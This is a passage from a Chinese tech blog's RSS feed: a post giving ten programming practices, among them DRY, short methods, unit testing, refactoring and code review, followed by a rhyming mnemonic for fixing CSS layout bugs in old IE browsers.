软件开发是一种持续的发现的过程，从而让你的代码可以跟上最新的实际需求的变化。所以，我们要经常重构自己的代码来跟上这样的变化。当然，重构是有风险的，并不是所有的重构都是成功的，也不是我们随时都可以重构代码。下面是两个重构代码的先要条件，以避免让你引入更多的BUG，或是把本来就烂的代码变得更烂。 有大量的单元测试来测试。正如前面所说，重构需要用大量的单元测试来做保障和测试。 每次重构都不要大，用点点滴滴的小的重构来代替那种大型的重构。有太多的时候，当我们一开始计划重构2000行代码，而在3个小时后，我们就放弃这个计划并把代码恢复到原始的版本。所以，我们推荐的是，重构最好是从点点滴滴积累起来的。 8.- 程序注释是邪恶的 这一条一定是充满争议的，大多数程序员都认为程序注释是非常好的，是的，没错，程序注释在理论上是非常不错的。但是，在实际过程序当中，程序员们写出来的注释却是很糟糕的（程序员的表达能力很有问题），从而导致了程序注释成为了一切邪恶的化身，也导致了我们在阅读程序的时，大多数时候，我们都不读注释而直接读代码。所以，在这里，我们并不是鼓励不写注释，而是——如果你的注释写得不够好的话，那么，你还不如把更重要的时间花在重构一下你的代码，让你的代码更加易读，更加清楚，这比会比注释更好。 9.- 注重接口，而不是实现 这是一个最经典的规则了。接口注重的是——“What”是抽象，实现注重的是——“How”是细节。接口相当于一种合同契约，而实际的细节相当于对这种合同契约的一种运作和实现。运作是可以很灵活的，而合同契约则需要是相对需要稳定和不变的。如果，一个接口没有设计好而需要经常性的变化的话，那我们可以试想一下，这代来的后果，这绝对会是一件成本很大的事情。所以，在软件开发和调设中，接口是重中之重，而不是实现。然而我们的程序员总是注重于实现细节，所以他们局部的代码写的非常不错，但软件整体却设计得相对较差。这点需要我们多多注意。 10.- 代码审查机制 所有人都会出错，一个人出错的概率是很大的，两个人出错的概率就会小一些，人多一些，出错的概率就会越来越小。因为，人多了，就能够从不同的角度看待一个事情，虽然这样可能导致无效率的争论，但比起软件产品release后出现问题的维护成本，这点成本算是相当值得的。所以，这就是我们需要让不同的人来reivew代码，代码审查机制不但是一种发现问题的最有效的机制，同时也是一种可以知识共享的机制。当然，对于Code Review来说，下面有几个基本原则： 审查者的能力一定要大于或等于代码作者的能力，不然，代码审查就成了一种对新手的training。 [...]]]></description>
			<content:encoded><![CDATA[<p>1.- DRY: Don’t repeat yourself.</p>
<p>DRY 是一个最简单的法则，也是最容易被理解的。但它也可能是最难被应用的（因为要做到这样，我们需要在泛型设计上做相当的努力，这并不是一件容易的事）。它意味着，当我们在两个或多个地方的时候发现一些相似的代码的时候，我们需要把他们的共性抽象出来形一个唯一的新方法，并且改变现有的地方的代码让他们以一些合适的参数调用这个新的方法。</p>
<p>DRY 这一法则可能是编程届中最通用的法则了，目前为止，应该没有哪个程序员对这一法则存有异议。但是，我们却能发现，一些程序在编写单元测试（unit testing）时忘记了这一法则：让我们相像一下，当你改变一个类的若干接口，如果你没有使用DRY，那么，那些通过调用一系例类的接口的unit test的程序，都需要被手动的更改。比如：如果你的unit test的诸多test cases中没有使用一个标准共有的构造类的方法，而是每个test case自己去构造类的实例，那么，当类的构造函数被改变时，你需要修改多少个test cases啊。这就是不使用DRY法则所带来的恶果。<span id="more-443"></span></p>
<p>2.- 短小的方法.</p>
<p>至少，我们有下面三个不错的理由要求程序员们写下短小的方法。</p>
<p>代码会变得更容易阅读。<br />
代码会变得更容易重用（短方法可以减少代码间的耦合程度）<br />
代码会变得更容易测试。</p>
<p>3.- 良好的命名规范</p>
<p>使用不错的统一的命名规范可以让你的程序变得更容易阅读和维护，当一个类，一个函数，一个变量的名字达到了那种可以“望文生义”的境界话，我们就可以少一些文档，少一些沟通。文章《编程中的命名设计那点事 》可以给你一些提示。</p>
<p>4.- 赋予每个类正确的职责</p>
<p>一个类，一个职责，这类规则可以参考一下类的SOLID 法则。但我们这里强调的不是一种单一的职责，而是一个正确的职责。如果你有一个类叫Customer，我们就不应该让这个类有sales 的方法，我们只能让这个类有和Customer有最直接关系的方法。</p>
<p>5.- 把代码组织起来</p>
<p>把代码组织起来有两具层次。</p>
<p>物理层组织：无论你使用什么样的目录，包(package)或名字空间(namespace)等的结构，你需要把你的类用一种标准的方法组织起来，这样可以方便查找。这是一种物理性质的代码组织。</p>
<p>逻辑层组织： 所谓逻辑层，主要是说，我们如果把两个不同功能的类或方法通过某种规范联系和组织起来。这里主要关注的是程序模块间的接口。这就是我们经常见到的程序模块的架构。</p>
<p>6.- 创建大量的单元测试</p>
<p>单元测试是最接近BUG的地方，也是修改BUG成本最低的地方，同样也是决定整个软件质量好坏的成败的地方。所以，只要有可能，你就应该写更多的，更好的单元测试案例，这样当你未来有相应代码改变的时候，你可以很简单知道你代码的改变是否影响了其它单元。</p>
<p>7.- 经常重构你的代码</p>
<p>软件开发是一种持续的发现的过程，从而让你的代码可以跟上最新的实际需求的变化。所以，我们要经常重构自己的代码来跟上这样的变化。当然，重构是有风险的，并不是所有的重构都是成功的，也不是我们随时都可以重构代码。下面是两个重构代码的先要条件，以避免让你引入更多的BUG，或是把本来就烂的代码变得更烂。</p>
<p>有大量的单元测试来测试。正如前面所说，重构需要用大量的单元测试来做保障和测试。</p>
<p>每次重构都不要大，用点点滴滴的小的重构来代替那种大型的重构。有太多的时候，当我们一开始计划重构2000行代码，而在3个小时后，我们就放弃这个计划并把代码恢复到原始的版本。所以，我们推荐的是，重构最好是从点点滴滴积累起来的。</p>
<p>8.- 程序注释是邪恶的</p>
<p>这一条一定是充满争议的，大多数程序员都认为程序注释是非常好的，是的，没错，程序注释在理论上是非常不错的。但是，在实际过程序当中，程序员们写出来的注释却是很糟糕的（程序员的表达能力很有问题），从而导致了程序注释成为了一切邪恶的化身，也导致了我们在阅读程序的时，大多数时候，我们都不读注释而直接读代码。所以，在这里，我们并不是鼓励不写注释，而是——如果你的注释写得不够好的话，那么，你还不如把更重要的时间花在重构一下你的代码，让你的代码更加易读，更加清楚，这比会比注释更好。</p>
<p>9.- 注重接口，而不是实现</p>
<p>这是一个最经典的规则了。接口注重的是——“What”是抽象，实现注重的是——“How”是细节。接口相当于一种合同契约，而实际的细节相当于对这种合同契约的一种运作和实现。运作是可以很灵活的，而合同契约则需要是相对需要稳定和不变的。如果，一个接口没有设计好而需要经常性的变化的话，那我们可以试想一下，这代来的后果，这绝对会是一件成本很大的事情。所以，在软件开发和调设中，接口是重中之重，而不是实现。然而我们的程序员总是注重于实现细节，所以他们局部的代码写的非常不错，但软件整体却设计得相对较差。这点需要我们多多注意。</p>
<p>10.- 代码审查机制</p>
<p>所有人都会出错，一个人出错的概率是很大的，两个人出错的概率就会小一些，人多一些，出错的概率就会越来越小。因为，人多了，就能够从不同的角度看待一个事情，虽然这样可能导致无效率的争论，但比起软件产品release后出现问题的维护成本，这点成本算是相当值得的。所以，这就是我们需要让不同的人来reivew代码，代码审查机制不但是一种发现问题的最有效的机制，同时也是一种可以知识共享的机制。当然，对于Code Review来说，下面有几个基本原则：</p>
<p>审查者的能力一定要大于或等于代码作者的能力，不然，代码审查就成了一种对新手的training。</p>
<p>而且，为了让审查者真正负责起来，而不是在敷衍审查工作，我们需要让审查者对审查过的代码负主要责任，而不是代码的作者。<br />
另外，好的代码审查应该不是当代码完成的时候，而是在代码编写的过程中，不断地迭代代码审查。好的实践的，无论代码是否完成，代码审核需要几天一次地不断地进行。</p>
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		<title>CSS 中的太极拳口诀</title>
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		<pubDate>Thu, 22 Jul 2010 14:42:52 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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			<content:encoded><![CDATA[<p>在做网站过程中，常常要修改网站模板，而模板受css控制。如果在用CSS设计布局时遇到BUG，请认真阅读以下内容，非常容易记忆的，不知道哪位高人把CSS BUG编成了*****了！看看好不好记住呢？<br />
一、IE边框若显若无，须注意，定是高度设置已忘记；<br />
二、浮动产生有缘故，若要父层包含住，紧跟浮动要清除，容器自然显其中；<br />
三、三像素文本慢移不必慌，高度设置帮你忙；<br />
四、兼容各个浏览须注意，默认设置行高可能是*****；<br />
五、独立清除浮动须铭记，行高设无，高设零，设计效果兼浏览；<br />
六、学布局须思路，路随布局原理自然直，轻松驾驭html，流水布局少hack，代码清爽，兼容好，友好引擎喜欢迎。<br />
七、所有标签皆有源，只是默认各不同，span是无极，无极生两仪&mdash;内联和块级，img较特殊，但也遵法理，其他只是改造各不同，一个*号全归原，层叠样式理须多练习，万物皆规律。<br />
八、图片链接排版须小心，图片链接文字链接若对齐，padding和vertical-align:middle要设定，虽差微细倒无妨。<br />
九、IE浮动双边距，请用display：inline拘。<br />
十、列表横向排版，列表代码须紧靠，空隙自消须铭记。</p>
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